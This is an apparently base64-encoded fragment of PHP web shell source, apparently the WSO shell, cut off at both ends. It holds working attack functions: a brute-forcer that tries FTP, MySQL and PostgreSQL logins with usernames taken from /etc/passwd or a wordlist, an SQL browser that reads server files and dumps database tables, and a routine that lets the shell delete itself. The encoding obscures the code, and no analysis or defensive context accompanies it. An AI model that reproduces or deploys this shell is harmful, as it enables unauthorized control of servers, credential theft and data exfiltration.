WVjaG8gJzwvdGV4dGFyZWE+PHRhYmxlIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICNkZjU7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlci10b3A6MHB4OyIgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPSIxMDAlIj48dHI+PHRkIHdpZHRoPSIxJSI+JDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjowcHg7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+PC90ZD48L3RyPjwvdGFibGU+JzsNCgllY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kLmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsNCiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsNCglkaWUoJ2J5ZSEnKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsNCgkNCglpZigkX1BPU1RbJ3AxJ10gPT0gJ3llcycpDQoJCWlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpDQoJCQlkaWUoJ1NoZWxsIGhhcyBiZWVuIHJlbW92ZWQnKTsNCgkJZWxzZQ0KCQkJZWNobyAndW5saW5rIGVycm9yISc7DQogICAgaWYoJF9QT1NUWydwMSddICE9ICd5ZXMnKQ0KICAgICAgICB3c29IZWFkZXIoKTsNCgllY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkJydXRlZm9yY2UoKSB7DQoJd3NvSGVhZGVyKCk7DQoJaWYoIGlzc2V0KCRfUE9TVFsncHJvdG8nXSkgKSB7DQoJCWVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsNCgkJaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnZnRwJyApIHsNCgkJCWZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgew0KCQkJCSRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsNCgkJCQlpZighJGZwKSByZXR1cm4gZmFsc2U7DQoJCQkJJHJlcyA9IEBmdHBfbG9naW4oJGZwLCAkbG9naW4sICRwYXNzKTsNCgkJCQlAZnRwX2Nsb3NlKCRmcCk7DQoJCQkJcmV0dXJuICRyZXM7DQoJCQl9DQoJCX0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ215c3FsJyApIHsNCgkJCWZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgew0KCQkJCSRyZXMgPSBAbXlzcWxfY29ubmVjdCgkaXAuJzonLiRwb3J0PyRwb3J0OjMzMDYsICRsb2dpbiwgJHBhc3MpOw0KCQkJCUBteXNxbF9jbG9zZSgkcmVzKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgew0KCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJHN0ciA9ICJob3N0PSciLiRpcC4iJyBwb3J0PSciLiRwb3J0LiInIHVzZXI9JyIuJGxvZ2luLiInIHBhc3N3b3JkPSciLiRwYXNzLiInIGRibmFtZT1wb3N0Z3JlcyI7DQoJCQkJJHJlcyA9IEBwZ19jb25uZWN0KCRzdHIpOw0KCQkJCUBwZ19jbG9zZSgkcmVzKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfQ0KCQkkc3VjY2VzcyA9IDA7DQoJCSRhdHRlbXB0cyA9IDA7DQoJCSRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7DQoJCWlmKCRfUE9TVFsndHlwZSddID09IDEpIHsNCgkJCSR0ZW1wID0gQGZpbGUoJy9ldGMvcGFzc3dkJyk7DQoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkNCgkJCQlmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7DQoJCQkJCSRsaW5lID0gZXhwbG9kZSgiOiIsICRsaW5lKTsNCgkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCWlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJGxpbmVbMF0pICkgew0KCQkJCQkJJHN1Y2Nlc3MrKzsNCgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7DQoJCQkJCX0NCgkJCQkJaWYoQCRfUE9TVFsncmV2ZXJzZSddKSB7DQoJCQkJCQkkdG1wID0gIiI7DQoJCQkJCQlmb3IoJGk9c3RybGVuKCRsaW5lWzBdKS0xOyAkaT49MDsgLS0kaSkNCgkJCQkJCQkkdG1wIC49ICRsaW5lWzBdWyRpXTsNCgkJCQkJCSsrJGF0dGVtcHRzOw0KCQkJCQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1wKSApIHsNCgkJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQl9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7DQoJCQkkdGVtcCA9IEBmaWxlKCRfUE9TVFsnZGljdCddKTsNCgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQ0KCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsNCgkJCQkJJGxpbmUgPSB0cmltKCRsaW5lKTsNCgkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCWlmKCBicnV0ZUZvcmNlKCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRfUE9TVFsnbG9naW4nXSwgJGxpbmUpICkgew0KCQkJCQkJJHN1Y2Nlc3MrKzsNCgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOw0KCQkJCQl9DQoJCQkJfQ0KCQl9DQoJCWVjaG8gIjxzcGFuPkF0dGVtcHRzOjwvc3Bhbj4gJGF0dGVtcHRzIDxzcGFuPlN1Y2Nlc3M6PC9zcGFuPiAkc3VjY2VzczwvZGl2Pjxicj4iOw0KCX0NCgllY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48c2VsZWN0IG5hbWU9cHJvdG8+PG9wdGlvbiB2YWx1ZT1mdHA+RlRQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1teXNxbD5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9cGdzcWw+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPicNCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYSddKS4nIj4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY2hhcnNldCddKS4nIj4nDQoJCS4nPHNwYW4+U2VydmVyOnBvcnQ8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjxzcGFuPkJydXRlIHR5cGU8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjEiIGNoZWNrZWQ+IC9ldGMvcGFzc3dkPC9sYWJlbD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1yZXZlcnNlIHZhbHVlPTEgY2hlY2tlZD4gcmV2ZXJzZSAobG9naW4gLT4gbmlnb2wpPC9sYWJlbD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMiI+IERpY3Rpb25hcnk8L2xhYmVsPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48dGFibGUgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48dHI+PHRkPjxzcGFuPkxvZ2luPC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9InJvb3QiPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48c3Bhbj5EaWN0aW9uYXJ5PC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ+PC90cj48L3RhYmxlPicNCgkJLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsNCgllY2hvICc8L2Rpdj48YnI+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU3FsKCkgew0KCWNsYXNzIERiQ2xhc3Mgew0KCQl2YXIgJHR5cGU7DQoJCXZhciAkbGluazsNCgkJdmFyICRyZXM7DQoJCWZ1bmN0aW9uIERiQ2xhc3MoJHR5cGUpCXsNCgkJCSR0aGlzLT50eXBlID0gJHR5cGU7DQoJCX0NCgkJZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJaWYoICR0aGlzLT5saW5rID0gQG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MsdHJ1ZSkgKSByZXR1cm4gdHJ1ZTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQkkaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7DQoJCQkJCWlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsNCgkJCQkJaWYoICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9JGRibmFtZSIpICkgcmV0dXJuIHRydWU7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIHNlbGVjdGRiKCRkYikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBxdWVyeSgkc3RyKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpIHsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBmZXRjaCgpIHsNCgkJCSRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcyk7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gbGlzdERicygpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cXVlcnkoIlNIT1cgZGF0YWJhc2VzIik7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBsaXN0VGFibGVzKCkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gZXJyb3IoKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiBAbXlzcWxfZXJyb3IoKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfbGFzdF9lcnJvcigpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3NldF9jaGFyc2V0JykpDQoJCQkJCQlyZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsNCgkJCQkJZWxzZQ0KCQkJCQkJJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGxvYWRGaWxlKCRzdHIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCSR0aGlzLT5xdWVyeSgiQ1JFQVRFIFRBQkxFIHdzbzIoZmlsZSB0ZXh0KTtDT1BZIHdzbzIgRlJPTSAnIi5hZGRzbGFzaGVzKCRzdHIpLiInO3NlbGVjdCBmaWxlIGZyb20gd3NvMjsiKTsNCgkJCQkJJHI9YXJyYXkoKTsNCgkJCQkJd2hpbGUoJGk9JHRoaXMtPmZldGNoKCkpDQoJCQkJCQkkcltdID0gJGlbJ2ZpbGUnXTsNCgkJCQkJJHRoaXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIHdzbzInKTsNCgkJCQkJcmV0dXJuIGFycmF5KCdmaWxlJz0+aW1wbG9kZSgiXG4iLCRyKSk7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gZHVtcCgkdGFibGUsICRmcCA9IGZhbHNlKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCSRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOw0KCQkJCQkkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcyk7DQoJCQkJCSRzcWwgPSAkY3JlYXRlWzFdLiI7XG4iOw0KICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOw0KCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7DQoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7DQoJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR2ID09IG51bGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNfbnVtZXJpYygkdikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLkBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpLiInIjsNCgkJCQkJCQkkY29sdW1uc1tdID0gImAiLiRrLiJgIjsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRoZWFkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuIikgVkFMVUVTIFxuXHQoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQoJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgaWYoISRoZWFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAiO1xuXG4iKTsgZWxzZSBlY2hvKCI7XG5cbiIpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTsNCgkJCQkJd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgew0KCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOw0KCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsNCgkJCQkJCQkkaXRlbVska10gPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOw0KCQkJCQkJCSRjb2x1bW5zW10gPSAkazsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KCQkJCQl9DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgl9Ow0KCSRkYiA9IG5ldyBEYkNsYXNzKCRfUE9TVFsndHlwZSddKTsNCglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7DQoJCSRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKTsNCgkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KICAgICAgICBzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsNCiAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsNCiAgICAgICAgfQ0KICAgICAgICBpZihlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHsNCiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsNCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7DQogICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpDQoJCQkJJGRiLT5kdW1wKCR2KTsNCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0gZWxzZWlmKCRmcCA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwgJ3cnKSkgew0KICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZHVtcCgkdiwgJGZwKTsNCiAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgdW5zZXQoJF9QT1NUWydwMiddKTsNCiAgICAgICAgfSBlbHNlDQogICAgICAgICAgICBkaWUoJzxzY3JpcHQ+YWxlcnQoIkVycm9yISBDYW5cJ3Qgb3BlbiBmaWxlIik7d2luZG93Lmhpc3RvcnkuYmFjaygtMSk8L3NjcmlwdD4nKTsNCgl9DQoJd3NvSGVhZGVyKCk7DQoJZWNobyAiDQo8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCjxmb3JtIG5hbWU9J3NmJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdmcyh0aGlzKTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4NCjx0ZD5UeXBlPC90ZD48dGQ+SG9zdDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ncXVlcnknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiInPg0KPHRkPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1ZT0nbXlzcWwnICI7DQogICAgaWYoQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiOw0KaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2hvc3QgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiInPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAuIic+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX3Bhc3MgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkgLiInPjwvdGQ+PHRkPiI7DQoJJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdW